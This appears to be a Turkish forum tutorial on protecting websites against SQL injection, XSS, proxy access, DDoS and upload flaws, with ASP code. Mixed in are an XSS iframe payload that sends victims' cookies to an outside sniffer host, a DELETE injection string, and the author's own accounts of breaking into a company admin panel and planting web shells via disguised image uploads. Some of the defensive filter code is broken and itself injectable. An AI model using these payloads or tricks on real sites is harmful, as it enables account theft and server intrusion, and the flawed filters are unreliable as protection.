Site Güvenliginin Sağlanması

Konu Yazar

PrancuLa

∂єνяιм'¢ι ¢ü¢є √
Emektar
Eyl
850
4
Selamlar,

Oncelikle size bu dokumanimda asagidaki konulardan bahsedecegim;

1- Siteleri hackleme konusunda , ne tur saldirilar kullaniliyor?
2- Sitemizi saldirilara karsi koruyabilirmiyiz?
3- Sql Injection nedir? Nasil sitemi ona karsi koruyabiliriz?
4- XSS nedir? Nasil sitemi ona karsi koruyabilirim?
5- Proxy girisleri engellenirmi? Nasil?
6- DDOS saldirilarina karsi sitemizi nasil koruyabiliriz?
7- Bazi saldiri yazilimlarindan sitemizi nasil koruyabiliriz?
8- Upload, resim aciklari nelerdir?

1- Siteleri hackleme konusunda , ne tur saldirilar kullaniliyor?

Internet sitelerini hacklemek icin kullanilan methotlar; sql injection, xss, php inclution, parametre aciklari, brute attack, file inclusion, upload aciklari vb. ile zarar vermek icin kullanilan methotlar; ddos, post saldirisi vb. gibi remote saldirilardir. Her birinin potansiyel bir acik olabilmesi icin bazi sartlari gerektirmesi gerekir. Kisacasi sql injection icin en az database baglantisi kullanan bir sitenin olmasi; php inclusion icin ise sitenin php ile kodlamasi gerek; xss icin parametre aciginin olmasi gerek; gif resim dosyasina shell sokup , calistirilmasi icin mesela server in linux olmasi, php ile kodlanmasi gerekir. Kisacasi her acik icin bazi sartlari gerektirmesi gerek. Aksi halde uzakdan saldiri programlari ile siteyi yavaslatma, servis disi olmasi icin cabalama girisimlerinde bulunulur.

2- Sitemizi saldirilara karsi koruyabilirmiyiz?

Egerki serverdaki diger sitelerin birinden shell yolu ile serverdaki permisonlari (yetkilendirme) kirarak sizin sitenin dizinize ulasmadigini ve server in sifreleri, ftp sifreleri kaptirilmadigi surece , sitemizin guvenligini Web Programlama Dilleri ile cok guzel sagliyabiliriz. Tabikide brute attack, ftp attack ilede sifreniz kirilmaz ise.

3- Sql Injection nedir? Nasil sitemi ona karsi koruyabiliriz?

Web uygulamalarinda bir cok islem icin kullanicidan alinan veri ile dinamik SQL cumlecikleri olusturulur. Mesela "SELECT * FROM Products" ornek SQL cumlecigi basit sekilde veritabanindan web uygulamasina tum urunleri dondurecektir. Bu SQL cumlecikleri olusturulurken araya sikistirilan herhangi bir meta-karakter SQL Injection’ a neden olabilir."
Gunumuz web uygulamalarinin cogu dinamik bir yapi olmasi, daha hizli guncellemek, data (veri) ile interface (arayuzu) birbirinden ayirmak icin database (veri tabani) kullanir. Databaseden veri cekmek icin Sql komutlar uygulanir. Sitelerde dinamik bir yapi nedeniyle, parametre gonderme islemleri olmaktadir. Bu parametre islemleri POST ve GET yolu ile olmaktadir. Siz egerki bu parametreye metakarakterler kullanarakdan sitedeki kod icindeki sql komuta mudahale edebilmis olacaksiniz. Boylece parametre uzerinden Sql komuta mudahale etmis, istedigimiz sekilde degistirip, database uzerinde veri silme, guncelleme, ekleme gibi basit; server da cmd calistirma, oturum kulanicisi ekleme, serverin file (dosya) sistemine
erisme gibi komplex islemler mumkun kilinabilinmektedir. Sizlere bu konuda sadece nasil yapildigi degil nasil korunacagindan bahsedecegim.
3 tur korunma yontemi mevcuttur.
Kod:
1- Stored Procedure kullanimi
2- SQL komut satirini parametreleyip isleme koymak
3- Gelen parametreleri filtreleme islemi.

1-Stored Procedure kullanimi : Sql inj. Bilindigi gibi islenecek olan sql komutun yapisini bozmaktadir.
Kod:
SELECT 1 FROM Users WHERE UserName = ’" & txtUserName.Text & "’ AND Password = ’" & txtPassword.Text & "’ eger biz txtUserName.Text yerine ’; DELETE FROM Users – verisi girersek? O zaman SELECT 1 FROM Users WHERE UserName = ’’; DELETE FROM Users --’ AND Password = ’’ sql komutu calismis olacak. Bunu engellemek icin stored procedure kullanilarak parametreler tanimlanir ve parametre disindakiler sql komut icinden alinmaz. ASP.Net c# ile bir ornek verirsek;
dim cmd as new SqlCommand(queryUser)
cmd.CommandType = CommandType.StoredProcedure
cmd.Parameters(new SqlParameter("@Username",txtUsername.Text)
cmd.Parameters(new SqlParameter("@Password",txtPassword.Text)
cmd.Parameters(new SqlParameter("@Result",DBNull.Value)
cmd.Parameters("Result").Direction = ParameterDirection.Output
cmd.ExecuteNonQuery()
Burda goruldugu gibi Username, Password ve sonuc u almak icin Result parametreleri tanimlanmaktadir.

2-Sql komut satirini parametrelemek: stored procedure daki gibi parametreleme soz konusu. Yine gerekli veriler tanimlanip, kullaniliyor. Asp.net C# ile ornegimiz;
Kod:
dim strSQL as string = "SELECT @Result = 1 FROM Users WHERE UserName = @UserName " &_
"AND Password = @Password"
dim cmd as new SqlCommand(strSQL)
cmd.Parameters.Add(new SqlParameter("@Username", txtUsername.text))
........
cmd.ExecuteNonQuery()

3- Gelen parametreleri filtreleme: Oncelikle kullaniciya hic bir zaman guvenilmemeli. Disardan gelen tum parametreleri kontrol etmemiz gerek. Bunlar request.form("") ve request("") seklinde gelen tum veriler. ASP ile ornek;
Kod:
<%
’****************************************************************
’******* Fatih SQL INJECTION SECURITY SYSTEM
’****************************************************************
Function SqlCracker(fatih)
’ fatih parametresi ile gelen bilgi, Sql ve Xss icin filtrelenmektedir.
Kod:
fatih = Replace(fatih, "<", "<")
fatih = Replace(fatih, ">", ">")
fatih = Replace(fatih, "
", "
")
fatih = Replace(fatih, "[", "[")
fatih = Replace(fatih, "]", "]")
fatih = Replace(fatih, """", "", 1, -1, 1)
fatih = Replace(fatih, "=", "=", 1, -1, 1)
fatih = Replace(fatih, "’", "’’", 1, -1, 1)
fatih = Replace(fatih, "select", "select", 1, -1, 1)
fatih = Replace(fatih, "convert", "conver_t", 1, -1, 1)
fatih = Replace(fatih, "cast", "cas_t", 1, -1, 1)
fatih = Replace(fatih, "join", "join", 1, -1, 1)
fatih = Replace(fatih, "union", "union", 1, -1, 1)
fatih = Replace(fatih, "where", "where", 1, -1, 1)
fatih = Replace(fatih, "insert", "insert", 1, -1, 1)
fatih = Replace(fatih, "delete", "delete", 1, -1, 1)
fatih = Replace(fatih, "update", "update", 1, -1, 1)
fatih = Replace(fatih, "like", "like", 1, -1, 1)
fatih = Replace(fatih, "drop", "drop", 1, -1, 1)
’fatih degiskeni filtrelendi, return icin SqlCracker a yukleniyor.
SqlCracker = fatih
End Function
%>

ASP icin hazirlanmis kodumuz budur. Disardan gelen veriyi SqlCracker() seklinde almamiz gerek.
SqlCracker(request.form("id"))
Bu sayede meta-karakter lere izin verilmicek. Sql sorgumuza mudahale edilmemis olacak. Edilse bile islememis olacak. Bunu biraz daha gelistirebiliriz. Yukardaki ilk 8 durumdan birini icerirse, banlist e ekleme yada hata verip , response.end ile sayfanin geri kalan kisminin islemesini engelleyebiliriz. Bu onlemleri aldiginiz taktirde Sql injectiondan korkmayin. ( SqlCracker() fonksiyonu ayni zamanda, Xss acigini engellemek icinde kullanabiliriz. Her iki ozellik dusunerekden tum onlemler alindi. ). Yapmamiz gereken diger ekstra onlemler ise;
- Veritabanimiza kisitli erisim hakki sagliyarakda, korumada saglanir. Mesela site uzerinden database e erisim yetkileri kisitli yapip, sadece okuma verilebilinir.
- Dinamik sql sorgularindan uzak duralim. Parametre gondererek yada stored procedureler kullanilmasi daha guvenlidir.
- Veritabanimizdaki onemli verileri, sifreleme algoritmasi kullnarak islem yapilmasi gerekir.
- Sitemizde parametre yolu ile hata cikmasini en aza indirmemiz gerekir.

4 - XSS nedir? Nasil sitemi ona karsi koruyabilirim?


"XSS (Cross Site Scripting) en basit tanimiyla kullanicilari girdi yapabildigi yerlere kod sokmaktir."
Yani sql injectiondaki gibi dusunebiliriz. Yine POST ve GET yolu ile kullanicidan gelen verinin site uzerinden islenmesidir. Ama bu biraz farkli. Bu seferki javascipt bazinda meydana gelmektedir. Soyleki sitede sizden bir isim istiyor. Siz <script>alert(1)</script> yazip gonderdigimizde, site uzerinde "1" diye hata mesaji verdirtiyorsak o zaman XSS acigi vardir. Fakat bu olay kalici degil. Kisiye ozel. Hemen sevinmeyin , aa bakin ben adimi yazdirttim : diye ? cunku o sadece sizde gorulecektir. Gelen parametreyi html tabanda ekrana basiyor. Siz javascript kod yada herhangi bir yazi yazdiginizda onu ekrana basmasi olayi.
Bu ne isimize yararki demeyin sakin. 2000 li yillara kadar pek isimize yaramiyordu acikcasi. Ama javascipt kod yazilimlarinin gelismesi uzerine, uyelik sistemi olan sitelerde cookie calmak icin kullanir hale gelmeye basladi hizla. En buyuk ozelligi, <script>document.cookie</script> komutu ile cookie degerimize ulasabiliyoruz site uzerinden. Bu acigin en etkili kullanimini ve verimini hotmail, mynet, yahoo da kullanarakdan cookie calip, taklit edip , sifresiz maillere ulasmamizla sonuclandi. Calisma mantigi su. Siz bir basit site hazirliyorsunuz. Oraya giren kisi, o sitenin arka planinda hotmaildeki xss acigini kulanip cookie degerlerini cagirip, onceden hazirlanmis servislere referans gonderip , calma islemi meydana gelmektedir.

Kod:
<iframe src= "http://notrefamille.femmes.fr.msn.com/v4/forums/default.aspx?boardid=3&theme=></script><script>i=new/**/Image();i.src= "http://bizimsite.com/sniffer/s.asp?"+document.cookie;</script><a href= "" height="1" width="1" frameborder="0">:)</iframe>

Bu tur bir kod parcasi, hotmaildeki cookieleri calmaya yeterlidir. Yeterki kurbani , bu kodu iceren bir html sayfaya girmesini saglamak : Zaten sitelerin bizi tanimasi icin, cookie degerlerine gerek vardir. Siz bir siteye uyelik sifresi ile girdiginizde, sizin kim oldugunu , size yazdirdigi cookie degerleri ile taniyor. Bizde o cookie degerlerini sizden alip, kendimiz kullanmayi hedefliyoruz. Bizde boylece sifresiz giris imkanimiz dogmaktadir. Cookie calma islemi, Xss acigi dir. Cookie ile yapilan taklit, hack islemlerinede Cookie ile Hack denmektedir.
Size nasil yapildigini degil , nasil korunacagimiz hakkinda bilgi verecegim. Oncelikle sql injection bolumunde kullandigimiz fonksiyonu, aynen disardan gelen parametrelerde uyguluyoruz. O fonksiyon hem sql icin hem xss icindir. Bunu saglarsaniz sorunsuz guvenlik saglamis olursunuz. Yada sadece xss icin <,’, " karakterler input olarak geldiginde, islem yapmamasini saglamak ve islemeyerek cozum bulunabilirir.
Bu tur onlemi ben uzun zamandir aliyordum. Fakat beklemedigimiz, farkinda olmadimiz yerler olamazmi? Mesela sitemizde hazir forum kulaniyoz. Koskoca forum, her kismina mudahale edemeyebiliriz. O zaman ne yapacaz ? Mevcut xss ye sahipse, tek tek bu sqlcracker fonksiyonunumu cagircaz? Cevapim hayir. O zaman sunu dinleyin birde..
. Ekstra 1 eklenti ve birkac kontrol Xss sorununu cozum bulacaktir. Kullanici giris yaptiginda , veritabanimiza o kisinin en son IP adresini yazmamiz yeterlidir. Kontrol kismida, kullanici oturum acmadi ise? Acmasi gerekir. oturum acmis ise? Cookieye sahiptir. O zaman Egerki kullanici cookieye sahipse? IP ile , vertabanindaki aynimi? Kontrolu yapilmali.
Degilse o zaman adamdaki cookieleri silmeniz gerekecek ve uye giris sayfasina yonlendirmeniz gerekir.

Ozetle;
1. Eger adam cookiesiz ise? Uye girisine yonlendir
2. Eger adam giris yapiyorsa? Veritabandaki IP sini guncelle
3. Eger adam cookiesi varsa ? veritabandaki IP aynimi kontrolu. Degilse cookie
sil uye girisine gonder. Aksi halde sorun yok demektir.
Boylece XSS acigimiz olsa bile, bunu kullanilmasini engelliyoruz. Peki bu tam cozummu? Tabikide degil, bu sadece 1 tanesi. Oncelikle XSS icin acik vermememiz gerekir. Bunun icin her turlu disardan alinan request() ve request.form() ile gelen verileri filtrelememiz gerekmektedir. Zarar verici bir karakter, komut varmi diye. Baska bir onlem session kullanimi olabilir. Cookie gibi kalici tanimlayici degilde, gecici tanimlayicilar kullanilmasi. Yada veritabaninda IP yi surekli yedeklemek yerine, sifreleyip cookie ye ek deger olarak yazabiliriz. Boylece cookie icindeki IP ile, adamin Ipsi kontrol edilir. Buda gecici cozumlerdendir.


5- Proxy girisleri engellenirmi? Nasil?


Kimi hackerlar sitelere proxy adresleri ile girerler. Neden derseniz? Gizlilik icin. Cunku sizin siteye giren kisi, nicki ile giriyor olabilir, yada acik kimlikle. Siz kolayca IP sini alabilirsiniz onun. Peki hacker bunun farkinda ise, bu sefer baska bir IP uzerinden sizin siteye girmeye calisacaktir. O zaman proxy adreslerini kullanip , gizliligini saglamis oldugunu sanacaktir. Bilmedigi bisi var. Soyleki proxy adresi kullansaniz dahi, siz bir siteye browser ile request de bulundugunuzda realIP (gercek ip) olarak proxy ip si gider. Ama hesapda olmayan bisi vardir. Forwarded IP olarakda sizin remote ipnizi gondermektedir. Yani 2 IP birden ulasmaktadir. Bunu biz webmasterlar kontrol edebilir, yakalayabilir, engelleyebiliriz. ASP web programa dilinden yola cikacagim yine.
Request.ServerVariables("REMOTE_ADDR") -> siteye requestde bulunan IP. (eger proxy kullaniyorsaniz sizin proxy IPniz, eger kullanmazsaniz sizin gercek IPniz olacaktir.)
Request.ServerVariables("HTTP_X_FORWARDED_FOR") -> bu bos ise proxy kullanilmiyor. Eger dolu bir IP varsa ? bilinki o sizin gercek IP niz olacaktir.
Kisacasi, forward edilen adres varsa ? bilinki kullanici proxy yada gateway kullaniyor. Aksi halde ciplak IPsi ile giris yapmaktadir. Bunu yakalamak icin yazdigim kod ise..
Kod:
<%
’****************************************************************
’******* Fatih ’s Proxy SECURITY SYSTEM
’****************************************************************
dim RealIP, ProxyIP
’Remote IP miz.
RealIP = Request.ServerVariables("REMOTE_ADDR")
’Forward edilen IP miz
ProxyIP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
if not ProxyIP = "" then
response.write "Proxy kullandigin tespit edildi. Gercek IP adrresin : "& ProxyIP
’Bu alanda kisiiyi isterseniz banlar, isterseniz erisimini engellersiniz.Ben engeliyrm.
response.end
end if
%>

Bu kod parcacagini, sitenizde ilk islenen kisim olmalidir. Evet gordugunuz gibi. Proxy girisleri engellemis olduk. Sitenize giren kisi seffaf olmali :p :D Maskeli haydut istemeyiz sitemizde...

6- DDOS saldirilarina karsi sitemizi nasil koruyabiliriz?

Sitelerimiz genellikle GET ve POST saldirilarina maruz kalmaktadir. Get saldirisi surekli sitenin sabit yada bazi sayfalarini surekli cagirmasi ile olur. Biraz daha bilimsel aciklama yapmam gerekirse, karsi taraf socket yazilimlari ile serverinizla baglanti kurup, sizin site icin Get paketi gonderir ve baglantiyi kapatir. Server da cevap vermek icin sizin siteyi yorumlar ve paketlerini hazirlar, gondermeye calisir. Bu calisma basarisiz sonuclanir taki timeout suresi bitene kadar. Cunku karsidan cevap bulamicagi icin. Biz connection (baglanti) i istekden hemen sonra karsiliksiz kapamistik. Bu olayin saniyede 50 , dk da 10 binden fazla connection acilip, kapatildigini dusunun. Server her gecen zaman cevap vermekte zorlanacak ve cevap veremez duruma gelecek.
Saldirinin nereye yapildigida cok onemlidir. Veritabanindan islem yapan yerlere saldirilmesi, her connectionda database e ulasmasi gerekecek. O yuzdende kullandigi veritabani servislerinde sorun yasanmasina sebep olacaktir. POST saldirisida ayni get gibidir. POST un etkili oldugu kisimlar, arama kisimlaridir. Sitede en cok veritabani islemleri yapan kisimlari, arama kisimlari oldugu icin, en etkili saldiri ve verim ordan alinmaktadir. Sitenin cokusude hizlanacaktir.
Simdi bu tur saldirilarda ne yapabiliriz diye dusundugumuzde, web programlama dilleri icin kisitli birkac yontem var. Saldiriyi o an tespit etmemiz ve istedekde bulunan saldirganlara basit Html bir sayfa gondermemiz gerekir. Veritabani baglantimiz varsa , o veritabani baglantimizdan once response.end komutunu koydurmaliyiz.
Simdi size cozumumden bahsedecegim. Veritabanimizda tbllog diye tablo olusturup. Kullaniclarin Ipsi, tarih bilgisini kaydetmemiz gerek. Boylece sitemizde her adim loglanmis olacak IP ve zaman olarak. Simdi sitemize giren kisi, 1 dk icinde kac kere sitemizdeki sayfalarda gezinebilir. Yani sitemizin her linke tiklama, sayfa yenileme ? her biri bir hamle olarak algilarsak. 1 dk icinde kac hamle yapar ortalama. Ben kendim icin 1 dk da 20 hamle belirledim. Yani 1 dk icinde 20 tiklama yapmis sitemin sayfalarinda. Eger 40 yaparsa, adam saldiri yapiyor demek. Simdi bunun kontrolunu surekli yapacaz. Sitemizin acilmadan once veritabanimizdan su anki zamanla, 1 dk onceki zaman araliginda , o IP ye sahip kisi, kac kez loglanmis? Eger count degerimiz 1-39 arasi ise sorun yok, ama >=40 oldugu an? O kisi
sitemize saldiri yapiyor demektir. O zaman o kisiyi mimlememiz gerek. Onuda banlist olusturup , IP sini banlamamiz gerekir. Boylece adam bir sonraki adiminda, Banlist sorgusu sirasinda IP si bulundugu icin ? sitenin geri kalanini goremicektir. Bu anlattigim sistemin size asp dilinde kodunu verecegim.
Kod:
<%
’****************************************************************
’******* Fatih ’s DDOS ATTACK SECURITY SYSTEM
’****************************************************************
dim DDOSIP, DDOStimer, DDOSrs, DDOSsayman
’Gelen kisinin IP sini aliyoz
DDOSIP = Request.ServerVariables("REMOTE_ADDR")
’Gelen kisinin dakika cinsinden karsiligini
DDOStimer = day(now)*60*24 + hour(now)*60 + minute(now)
adoCon.execute("Insert into tblLOG (mIP, mTarih) values (’"&DDOSIP&"’, "&DDOStimer&")")
’1 dakika onceki birim zaman hesaplaniyor
DDOStimer = day(now)*60*24 + hour(now)*60 + minute(now) - 1
DDOSsayman = 0
’Gelen kisinin IP si, o zaman araliginda kac kez veritabanimizda mevcut , hesapliyoz.
set DDOSrs = adoCon.execute("Select * from tblLOG where mIP = ’"&DDOSIP&"’ AND mTarih >= "&DDOStimer&" ")
if not DDOSrs.eof then
do while not DDOSrs.eof
DDOSsayman = DDOSsayman + 1
DDOSrs.movenext
loop
end if
DDOSrs.close()
set DDOSrs = nothing
’ 40 dan fazla ise BANLAMA islemi yapiyoz. Onu yazdigim fonksiyona gonderiyom.
if DDOSsayman > 40 then
’Ban fonksiyonu o IP yi BANlist e ekliyor. Bir daha girimde bulunursa ? o IP kontrol edilip, listede ise siteyle erisimi engelenecek. Bu fonksiyon tum islemlerden once olmalidir. Banlist kontrol olayi , ilk kontrol edilcek kisimdir.
Call Ban("ip",Request.ServerVariables("REMOTE_ADDR"),"IP - DDOS")
response.redirect "banned.html"
end if
%>

Bu benim uyguladigim, basarili bir sistem idi. Bu tur bir sistemin kotu yani ise, veritabani ile islem yapmasi herseye rahmen. Yani saldirganin IP si , banlistde varmi kontrolu icin veritabani baglantisi yaptigi icin her seferinde, bu sistemi yoracak yavastan.
Sizlere baska bir ddos icin korunma yonteminden bahsedeyim. Siteye ilk giren kisiye , o anki zamana bagli bir cookie degeri yuklersiniz. Bunun icin ufak textbox ve random sayi, yazmasini istersiniz. Yazan kisiye 5 dk lik o anki zamana bagli bir cookie yazarsiniz. O kisi o cookie degeri ile gezmeye baslar. 5 dk doldugunda, sitenin cookie deri yine degisir. Ve o yuzden kisi uyari alir, tekrar o islemi gerceklestirmesi istenir. Boylece Biri saldiriya kalkistiginda maxsimum 5 dk saldirabilecek. Her 5 dk da bir programi ve icindeki cookie degerini degisitirp denemesi gerek. Buda isini guclestirir. Bu biraz istenmiyen bir durum, surekli ziyaretciden gezmesi icin, textbox e random sayiyi yazmaniz istenecek. Web programlama adina cozumlerimiz bu yondedir.

7- Bazi saldiri yazilimlarindan sitemizi nasil koruyabiliriz?

Sitenize surekli saldiri yapiliyor, servis disi kaliyor. Ilk adim, bu saldirinin turunu ve nereye yapildigini ogrenmek. Evet ana sayfamiza surekli binlerce request yani istekde bulunulmus. Dogal olarakda sitemiz cevap veremez duruma gelmis. Bu durumda browser bilgilerine bakacaz loglardan. Hangi programla yapilmis ve normal kullanicidan farkli bir durum ariyacaz.
Ben bu tur saldirilarla karsilastigim icin. Onceden onlem aldim. Mesela *Lamer Program Adı Yasaktır* diye bir yazilim vardir. Surekli connection acar durur. Kapatmazda , server kisa sure sonra cevap veremez duruma gelir. Peki bu durumda nasil engelleriz derseniz. Bizim Web programciligi adina yapmamiz gereken cozumlerden biri, browser bilgisini filtrelemektir. Mesela *Lamer Program Adı Yasaktır* ile kendi ozel siteme degisik tarzda saldirilar yaptim. Teslerim sonucu sunu gozlemledim. Her sitemize requestde bulundugunda kullanilan browser bilgisi farkli idi. Yani Browser bilgisi "*Lamer Program Adı Yasaktır*" kelimesini icermekteydi. Buda bize onu filtreleyebilme sansi verdi. Vede asagidaki kodu yazdim.
Kod:
<%
’****************************************************************
’******* Fatih ’s Protecter SYSTEM
’****************************************************************
Dim BrowseVar
’Siteye giren kisinin browser bilgisi.
BrowserVar = Trim(Request.ServerVariables("HTTP_USER_AGENT"))
If BrowseVar <> "" Then
’icinde *Lamer Program Adı Yasaktır* geciyorsa , banlama sistemine gonder.
If Instr(BrowseVar, "*Lamer Program Adı Yasaktır*") <> 0 Then
response.end
else If Instr(UCASE(BrowseVar), "*Lamer Program Adı Yasaktır*") <> 0 Then
response.end
else If Instr(UCASE(BrowseVar), "*Lamer Program Adı Yasaktır*") <> 0 Then
response.end
end if
end if
end if
end if
%>

Testlerimde cok basarili oldu. Cok etkili bir sekilde saldirinin yukunu azaltiyor. Burda saldiri programi yazan kisi icin dikkat edilmemis bir ayrinti idi. Ama bizim isimize yaradi bu ayrinti. Biz *Lamer Program Adı Yasaktır* saldirisini ? yapilip yapilmadgini anliyabilecegiz artik..
Mesela bir baska saldiri programlarindan , POST saldirisi yapan denyo yaziliminin browser bilgisinde de "holyone" icermekteydi. Boylece onuda filtreleyebildik.

Kod:
<%
’****************************************************************
’******* Fatih ’s DENYO Protecter SYSTEM
’****************************************************************
Dim BrowserVar
’Gelen kisinin Browser bilgisini aliyoz
BrowserVar = Trim(Request.ServerVariables("HTTP_USER_AGENT"))
If BrowseVar <> "" Then
If Instr(BrowseVar, "Denyo") > 1 Then
response.end
else If Instr(UCASE(BrowseVar), "HOLYONE") > 1 Then
response.end
else If Instr(BrowseVar, "HolyOne") > 1 Then
response.end
else If Instr(BrowseVar, "Nightmare") > 1 Then
response.end
else If Instr(UCASE(BrowseVar), "NIGHTMARE") > 1 Then
response.end
end if
end if
end if
end if
end if
end if
End Sub
%>

Sonuc olarak ciddi cozum bulduk. Sitemizdeki kodlarin hepsi islemeden hatta veritabani ile iletisim kurmadan bu tur kontrol yaptigimizda, ciddi anlamda saldiriyi etkisiz hale getirmis oluyoruz.
Bu tur programlarin ne tur bilgi gonderdini ogrenmek icin illa sitenizde denemeniz gerekmez. Bir tane Paket izleme yani sniffer yazilimi kulanarakdan, gonderdigi request bilgisinden ne tur browser bilgisi gonderdigini, turunu , nereye saldirdigini ogrenebilirsiniz. Vede o yonde sitenizde onlemler kod bazli alabilirsiniz.
Her saldiriyi bu sekilde asamayiz tabikide. Yeterlide olmiyacaktir. Sadece web programlaa dili adina nasil kendimizi maximum koruyabileceigimizden bahsetmeteyim. Tabikide mumkun oldugunca optimum kod yamamiz, az kaynak harcama ve veritabanina minimum erisimler saglamamiz ? bu tur saldilarin etkisini azaltacaktir..
Sizlere ornek bir POST paket gostereyim.

Kod:
POST /fight-club/fight.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
x-flash-version: 9,0,47,0
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: apps.facebook.com
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: Cookie: __utma=456546497.1131734494.1190402303.114568562.1194561491.150; __utmz=252321497.1194011491.150.125.utmccn=(referral)|utmcsr=facebook.com|utmcct=/profile.php|utmcmd=referral; __utmb=456546597; __utmc=456456497; ABT=5967c5ab4b4d56560d393b4a820d67e%36594082139%3AA%235967c5ab4b4d2f4170d393b4a820d67e15656A1194082139%3AA%23558501336a9f79e16394d2e3b8d24d4f1st%3A1194609ggg17%3AA; login_x=xxxxxx%40hotmail.com; xs=327ff8e565f318a94f35add51f056b5c; c_user=4565469422; sid=2
uid=4565434445&comp=true&fight=Fight+Opponent

Bu paketde, sizin browser bilginiz, cookie degeriniz, post degeri, islemcinizi gorebilirsiniz. Bu normal bir webbrowser ile gonderilen POST verisidir.

Upload, resim aciklari nelerdir?

Bu dokumanimdaki son kismi buna ayirdim. Sizlere Asp ve Php icin bahsedecegim. Sitelerimizde resim yukletmek, yada dosya yukletme gereksinimi cok duyariz. Mesela sizlere direk buyuk bir sirketin aspx le yazdigi bir sitenin acigindan bahsedeyim.
Argesoft, logosoft, boyner, argenet gibi sirketlerin kullandigi bir aspx tabanli site. Admin panelinin userlist kismina sifresiz, cookie kontrolsuz girdim. Evet garip ama gercek. Google ada o kisim referans gitmis. Her neyse. Ben admin paneline girdim, sifreleri degistirdim. Shell yuklemem gerekiyordu. Orda dikkatimi ceken bir kisim vardi. Resim upload kismi. Sadece jpg,gif yuklenebiliyormus yazdigina gore. Peki? Neye gore kontrol ediiyor. Eger yuklenen dosyanin icinde jpg ? kelimesi var yok ona goremi, yoksa duzgunce filtreleyip, resim oldugunu anliyacak bir cozum uretmislermiydi? Ne yazikki adamlar icinde jpg, gif kelimeleri geciyorsa izin veriiyormus. Bende asp shellimi jpg ye cevirdim dosyami bir guzel upload edip, server a sizmistim. Vede site yazilimlarini kendime yedeklemistim.
Gordugunuz gibi cok komik bir durum. Bu tur sorun bir cok asp tabanli sitelerde vardir. Dosya icinde aramak degilde, dosya adinda, noktadan sonraki terime bakilmasi gerekmektedir.
Simdi sizlere PHP den bahsedeyim. Once Linux hakkinda bilgi verem. Linuxda dosyalarin uzantilari onemsizdir. Yani uzantiya hic bakmaz. Dosyanin icindeki tagladan ne oldugunu anlar. Simdi baska bir basima gelen olaydan bahsedeyim. Php tabanli resim upload edilen bir site vardi. Sadece resim dosyasi kabul ediyordu. Peki uzanti onemsizse, resim oldugunu icindeki taglardan anliyordu. Bende phpde hazirlanis shell dosyam, shell.php yi yuklettim. Fakat resim olmadigi icin kabul etmedi. Bunun uzeirne shell.php nin ilk satirina, GIF89a; yazdim. Ve tekrar denedim. Ve bu seferinde, sistem kabul etti, yukledi bir guzel ve bana linkinide verdi. Boylece server a ulasmis oldum. Bir baska olay ise, php tabanli sitelerde, avatar yukleme olayi vardir. Onda ise gif resmi notepad2 ile acip, sonuna php kod yazip, yukleyip , calistirtmaktaydik. Boylece gif icindeki kodumuz, sorunsuz execute etmekte idi.
Bu sekilde bir cok olay yasadim. O yuzden upload sistemini tasarlarken, bu soylediklerimi unutmamaniz gerek. Ona gore onlem anlmaniz gerekir. Unutmayinki kullanicilara guven olmaz ;)

Kolay gelsin.
 
Geri
Üst Alt